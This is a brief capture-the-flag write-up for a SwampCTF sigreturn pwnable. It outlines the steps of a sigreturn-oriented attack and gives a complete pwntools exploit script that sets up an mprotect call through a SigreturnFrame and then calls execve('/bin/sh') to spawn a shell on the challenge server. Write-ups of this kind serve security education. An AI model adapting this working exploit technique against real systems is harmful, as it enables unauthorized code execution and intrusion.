Tags: sigreturn pwnable 

Rating: 3.0

This is similar to Backdoor 2017 challenge funsignals. reading user input to stack and excute syscalls. except:

  1. .text segment is readonly;
  2. flag is not stored in memory;

To resolve above issues, we need multiple syscalls.

  1. a sigreturn syscall to change the program flow.
  2. a mprotect syscall to remap text segment to RWX.
  3. a syscall to read new playload (using the one provided in binary), since stack are switched and old payload are invalidated.
  4. a final execve syscall to spawn a shell.
from pwn import *

p = remote('chal1.swampctf.com',1800)

context.arch='amd64'
#Sigreturn frame for SYS_mprotect
frame = SigreturnFrame()
frame.rax = 10          # SYS_mprotect
frame.rdi = 0x400000   # addr
frame.rsi = 0x1000     # len
frame.rdx = 7           # proto
frame.rsp = 0x400400   # point new rsp after the code section
frame.rip = 0x400104   # to the 1st syscall instruction, so we can then read second payload on new stack and execute.
# syscall (rax = SYS_rt_sigreturn)
payload1 = p64(0)*3+p64(15)+p64(0)*4+str(frame)
# syscall (rax = SYS_execve, rsi = rdx = 0, rdi = addr of '/bin/sh' (placed just after the register values)
payload2 = p64(0)*3+p64(59)+p64(0)*3+p64(0x400440)+'/bin/sh\0'
print p.recvline().strip()
p.sendline(payload1)
p.sendline(payload2)

p.interactive()
p.close()